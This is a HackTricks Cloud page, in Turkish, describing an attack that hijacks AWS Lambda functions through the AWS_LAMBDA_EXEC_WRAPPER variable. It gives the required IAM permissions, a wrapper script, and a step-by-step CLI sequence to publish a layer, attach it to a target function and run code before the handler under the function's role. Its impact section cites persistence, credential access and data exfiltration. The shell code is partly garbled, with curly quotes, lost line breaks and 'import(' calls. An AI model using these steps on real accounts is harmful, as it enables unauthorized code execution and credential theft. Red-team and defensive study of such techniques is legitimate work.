AWS - Lambda Exec Wrapper Layer Hijack (Pre-Handler RCE)
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
Özet
Çalışma zamanı/handler başlamadan önce saldırgan kontrollü bir wrapper script’i çalıştırmak için ortam değişkeni AWS_LAMBDA_EXEC_WRAPPER’ı kötüye kullanın. Wrapper’ı bir Lambda Layer aracılığıyla /opt/bin/htwrap konumuna yerleştirin, AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap olarak ayarlayın ve ardından fonksiyonu invoke edin. Wrapper, fonksiyonun runtime süreci içinde çalışır, fonksiyonun execution role’ünü devralır ve son olarak gerçek runtime’ı exec ederek orijinal handler’ın normal şekilde çalışmasını sağlar.
Warning
Bu teknik hedef Lambda’da kaynak kodunu veya rolünü değiştirmeden ve
iam:PassRoleihtiyacı olmadan kod yürütme imkanı sağlar. Yalnızca function configuration’ı güncelleme ve bir layer yayınlama/ekleme yetkisine ihtiyacınız vardır.
Gerekli İzinler (saldırgan)
lambda:UpdateFunctionConfigurationlambda:GetFunctionConfigurationlambda:InvokeFunction(veya mevcut bir olay ile tetikleme)lambda:ListFunctions,lambda:ListLayerslambda:PublishLayerVersion(aynı hesapta) ve isteğe bağlı olaraklambda:AddLayerVersionPermissioneğer hesaplar arası/genel bir layer kullanıyorsanız
Wrapper Betiği
Wrapper’ı layer içinde /opt/bin/htwrap konumuna yerleştirin. Handler öncesi mantık çalıştırabilir ve gerçek runtime’a zincirlemek için exec "$@" ile bitmesi gerekir.
#!/bin/bash
set -euo pipefail
# Pre-handler actions (runs in runtime process context)
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
python3 - <<'PY'
import boto3, json, os
try:
ident = boto3.client('sts').get_caller_identity()
print('[ht] sts identity:', json.dumps(ident))
except Exception as e:
print('[ht] sts error:', e)
PY
# Chain to the real runtime
exec "$@"
Saldırı Adımları (CLI)
Layer yayınla, hedef function'a ekle, wrapper ayarla, invoke et
```bash # Vars REGION=us-east-1 TARGET_FN=1) Package wrapper at /opt/bin/htwrap
mkdir -p layer/bin cat > layer/bin/htwrap <<‘WRAP’ #!/bin/bash set -euo pipefail echo “[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION” python3 - <<‘PY’ import boto3, json print(‘[ht] sts identity:’, import(‘json’).dumps(import(‘boto3’).client(‘sts’).get_caller_identity())) PY exec “$@” WRAP chmod +x layer/bin/htwrap (zip -qr htwrap-layer.zip layer)
2) Publish the layer
LAYER_ARN=$(aws lambda publish-layer-version
–layer-name ht-exec-wrapper
–zip-file fileb://htwrap-layer.zip
–compatible-runtimes python3.11 python3.10 python3.9 nodejs20.x nodejs18.x java21 java17 dotnet8
–query LayerVersionArn –output text –region “$REGION”)
echo “$LAYER_ARN”
3) Attach the layer and set AWS_LAMBDA_EXEC_WRAPPER
aws lambda update-function-configuration
–function-name “$TARGET_FN”
–layers “$LAYER_ARN”
–environment “Variables={AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap}”
–region “$REGION”
Wait for update to finish
until [ “$(aws lambda get-function-configuration –function-name “$TARGET_FN” –query LastUpdateStatus –output text –region “$REGION”)“ = “Successful” ]; do sleep 2; done
4) Invoke and verify via CloudWatch Logs
aws lambda invoke –function-name “$TARGET_FN” /tmp/out.json –region “$REGION” >/dev/null aws logs filter-log-events –log-group-name “/aws/lambda/$TARGET_FN” –limit 50 –region “$REGION” –query ‘events[].message’ –output text
</details>
## Etki
- Fonksiyonun mevcut execution role'unu kullanarak, Lambda runtime bağlamında handler'dan önce kod yürütme.
- Fonksiyon kodu veya rolünde değişiklik gerektirmez; yaygın managed runtimes (Python, Node.js, Java, .NET) genelinde çalışır.
- Handler çalışmadan önce persistence, credential access (ör. STS), veri sızdırma ve runtime üzerinde müdahale sağlar.
> [!TIP]
> AWS Hacking'i öğrenin ve pratik yapın:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Az Hacking'i öğrenin ve pratik yapın: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricks'i Destekleyin</summary>
>
> - [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
> - **Katılın** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) veya [**telegram group**](https://t.me/peass) veya **Twitter**'da bizi **takip edin** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **PR göndererek hacking tricks paylaşın:** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>
HackTricks Cloud

